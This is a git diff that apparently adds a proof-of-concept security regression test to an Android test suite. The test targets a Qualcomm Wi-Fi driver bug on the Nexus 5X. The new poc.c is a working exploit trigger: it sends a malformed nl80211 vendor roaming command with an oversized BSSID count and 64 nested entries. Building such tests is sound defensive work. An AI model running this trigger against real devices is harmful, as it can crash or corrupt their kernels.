diff --git a/poc/host/poc_test_config.py b/poc/host/poc_test_config.py
index 8465059..85f5daa 100644
--- a/poc/host/poc_test_config.py
+++ b/poc/host/poc_test_config.py
@@ -35,7 +35,8 @@
     "kernel_sound/28838221",
     "kernel_bluetooth/30149612",
     "kernel_wifi/32219453",
-    "kernel_wifi/31707909"
+    "kernel_wifi/31707909",
+    "kernel_wifi/32402310"
 ]
 
 POC_TEST_CASES_DISABLED = [
diff --git a/poc/target/Android.poc_test_list.mk b/poc/target/Android.poc_test_list.mk
index a44920a..6f7f09a 100644
--- a/poc/target/Android.poc_test_list.mk
+++ b/poc/target/Android.poc_test_list.mk
@@ -48,3 +48,12 @@
 module_static_libraries :=
 module_shared_libraries :=
 include $(build_poc_test)
+
+module_testname := kernel_wifi/32402310
+module_src_files := kernel_wifi/32402310/poc.c
+module_cflags :=
+module_c_includes :=
+module_static_libraries :=
+module_shared_libraries := libnl
+include $(build_poc_test)
+
diff --git a/poc/target/kernel_wifi/32402310/poc.c b/poc/target/kernel_wifi/32402310/poc.c
new file mode 100644
index 0000000..d314e61
--- /dev/null
+++ b/poc/target/kernel_wifi/32402310/poc.c
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "poc_test.h"
+
+#include <dlfcn.h>
+#include <errno.h>
+#include <limits.h>
+
+#include <android/log.h>
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <jni.h>
+#include <sys/socket.h>
+#include <linux/genetlink.h>
+#include <linux/netlink.h>
+#include <netinet/in.h>
+#include <net/if.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h> /* See NOTES */
+#include <sys/un.h>
+#include <unistd.h>
+
+#include <netlink/msg.h>
+#include <linux/wireless.h>
+
+#include <linux/nl80211.h>
+#include <netlink/genl/ctrl.h>
+#include <netlink/genl/genl.h>
+
+#define MAX_MSG_SIZE 4096
+#define TEST_CNT 64
+
+#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
+#define AID_NET_RAW 3004 /* can create raw INET sockets */
+#define AID_NET_ADMIN 3005
+
+#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
+
+#define NL80211_ATTR_MAC 6
+#define ETH_ALEN 6
+#define NL80211_ATTR_IFINDEX 3
+#define QCA_NL80211_VENDOR_ID 0x001374
+
+#define QCA_NL80211_VENDOR_SUBCMD_ROAM 64
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD 1
+#define QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS 4
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID 2
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS 14
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID 15
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID 16
+#define QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER 17
+
+typedef char tSirMacAddr[ETH_ALEN];
+struct nl_sock *nl_sk;
+
+int send_testmode(const char *ifname, u_int16_t nlmsg_type, u_int32_t nlmsg_pid,
+                  u_int8_t genl_cmd, u_int8_t genl_version) {
+  struct nl_msg *msg;
+  int ret = POC_TEST_PASS;
+  int i;
+  unsigned char dst[ETH_ALEN];
+  struct nlattr *rret;
+  struct nlattr *rret2;
+  struct nlattr *rret3;
+  unsigned char oper_classes[253];
+  tSirMacAddr mac_in;
+  unsigned char hb_params[512];
+
+  struct nl80211_sta_flag_update flags;
+
+  msg = nlmsg_alloc();
+  int if_index = if_nametoindex(ifname);
+
+  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
+  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
+  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
+  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
+
+  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
+
+  if (!rret) {
+    perror("nla_nest_start");
+    ret = POC_TEST_FAIL;
+    goto exit;
+  }
+  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
+              QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BSSID_PREFS);
+
+  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
+  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_NUM_BSSID,
+              0xffffffff);
+
+  rret2 =
+      nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
+  if (!rret2) {
+    perror("nla_nest_start2");
+    ret = POC_TEST_FAIL;
+    goto exit;
+  }
+
+  for (i = 0; i < TEST_CNT; i++) {
+    rret3 =
+        nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PREFS);
+    if (!rret3) {
+      perror("nla_nest_start3");
+      ret = POC_TEST_FAIL;
+      goto exit;
+    }
+
+    nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_BSSID,
+            sizeof(mac_in), &mac_in);
+    nla_put_u32(msg,
+                QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_LAZY_ROAM_RSSI_MODIFIER,
+                0xdeadbeed);
+    nla_nest_end(msg, rret3);
+  }
+
+  nla_nest_end(msg, rret2);
+
+  nla_nest_end(msg, rret);
+
+  nl_send_auto_complete(nl_sk, msg);
+exit:
+  nlmsg_free(msg);
+  return ret;
+}
+
+int main(int argc, char *argv[]) {
+  int ret = 0;
+  int family_id = 0;
+  const char *ifname = "wlan0";
+  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
+
+  if (getuid() != 0) {
+    printf("need root privilege\n");
+    return POC_TEST_FAIL;
+  }
+
+  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
+
+  setuid(2000);
+
+  nl_sk = nl_socket_alloc();
+  ret = genl_connect(nl_sk);
+  if (ret != 0) {
+    perror("genl_connect");
+    return POC_TEST_FAIL;
+  }
+
+  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
+
+  ret = send_testmode(ifname, family_id, getpid(), NL80211_CMD_VENDOR, 1);
+  return ret;
+}
diff --git a/poc/target/kernel_wifi/32402310/poc.config b/poc/target/kernel_wifi/32402310/poc.config
new file mode 100644
index 0000000..84ffaad
--- /dev/null
+++ b/poc/target/kernel_wifi/32402310/poc.config
@@ -0,0 +1,5 @@
+{
+    "target_models": [
+        "Nexus 5X"
+    ]
+}